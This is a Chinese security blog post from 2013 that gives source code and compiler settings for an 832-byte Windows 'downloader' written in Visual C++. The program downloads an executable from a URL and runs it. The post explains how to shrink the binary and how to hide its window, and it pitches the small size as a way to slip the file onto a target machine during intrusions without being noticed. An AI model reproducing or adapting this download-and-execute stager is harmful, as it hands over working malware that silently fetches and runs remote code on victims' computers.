注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

K8拉登哥哥's Blog

K8搞基大队[K8team] 信息安全 网络安全 0day漏洞 渗透测试 黑客

 
 
 

日志

 
 

[原创]VC编译 超级纳米型下载者 仅832字节 连1K都不到  

2013-01-10 22:14:27|  分类: C/C++ |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
[原创]VC编译 超级纳米型下载者 仅832字节 连1K都不到

这是几年前写的了 纯属挑战极限 用VC写一个超小的下载者
当时我也录有教程发布 具体自己百度 挖以前的动画教程
如此小的下载者杀软一扫就直接扫到特征了 想用于过杀软就别想了
要是用在没杀软上面 这几年前写的东西可能还有些用处
有人可能说 有啥用? 文件小 1k都不到 明显在传入电脑时 完全不会察觉到
特别是俄罗斯人家现在是按流量记费的  如果你在渗透时 传什么大文件 立马惊动目标
当然本文的重点 并不在这里 这也是几年前的东西 本文只是单纯的研究VC编译的极限

//  Crack8 C 下载者 超级纳米型下载者 仅832字节 连1K都不到
// 2010-4-16
#include <UrlMon.h>
#include<Shellapi.h>
#pragma comment(lib, "Urlmon.lib")
Crack8main(){            
URLDownloadToFile(0,"http://127.0.0.1/Crack8.exe","E:\\K8.exe",0,NULL);    
ShellExecute(0,"open","E:\\K8.exe",NULL,NULL,SW_SHOW);    
}


// 作用: 合并节
// 将.data节和.rdata节合并到.text节(代码节)
#pragma comment(linker, "/merge:.data=.text")   //合并节也能减少体积 可往 :2  那里 /merge:.data=.text
#pragma comment(linker, "/merge:.rdata=.text")

:2 工程 设置 连接 工程选项里的内容
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo
/entry:"Crack8main" /subsystem:windows /incremental:no /pdb:"Release/k8.pdb"
/machine:I386 /out:"Release/K8download.exe" /align:16


一,使用release版而不用debug版编译

使用debug版编译会生成许多垃圾信息.我们先使用默认的设置进行一下编译.
可以看到编译后生成的文件有152k之巨.使用release版编译具体方法是:
在"build(编译)--->Configuration(配置)"中将"Win32 debug"移去,
然后再次编译可以发现文件已经小了很多,才24k.但离我们的目标还很远呢.

还要点移除工程配置里的 "Win32 debug"  上面是别人发现的 这是Crack8发现的

二,设置自己的入口点函数

C或C++程序默认的入口函数是main()或WinMain(),但我们现在不用什么Main,WinMain.
因为这些都不是直接的入口点,编译器在产生exe文件的时候,将为我们生成真正的入口点.
下面我们来定义自己的入口函数,具体是把main或WinMain改成其它的名字(如Crack8main),
打开"Project(工程)--->settings(设置)"选项,选中"link"选项卡,在"Category(分类)"
下拉列表中选"output",在" Entry-Point symbol(输入项-点符号)"中输入我们刚才定义的
入口函数(Crack8main),在源程序中也要做相应修改,然后再编译.现在是16k了:)

大家注意到程序运行时会产生一个cmd窗口,要让他没有就好了.这也好办.

回到VC++中,在"Project(工程)--->settings(设置)"选项,选中"link"选项卡,
在下面的"Project options(工程选项)"有/subsystem:console选项,表示程序是控制台程序,
双击运行是会有一个cmd窗口,把console改为windows就没有窗口了.:),运行一下 没有窗口哦
但有进程 连接一下试试

3 编译老是出错 请点一下 执行 *.exe 或者CTRL+F5

4 如果提示没找到文件 请先结束K8。EXE进程

5 在工程  设置中 选C/C++ 优化  选大小最小 后K8下载者才832字节

 让他再小N倍
通常VC在编译的时候,采用的对齐方式是0x1000,即4096bytes,我们现在将他改成0x200,即512bytes.

在刚才打开的"link"选项卡,在下面的"Project options(工程选项)"中添加:/align:16(还可以将512设

置的更小如16,32.....)  这里只能是16以上的倍数
  评论这张
 
阅读(1240)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016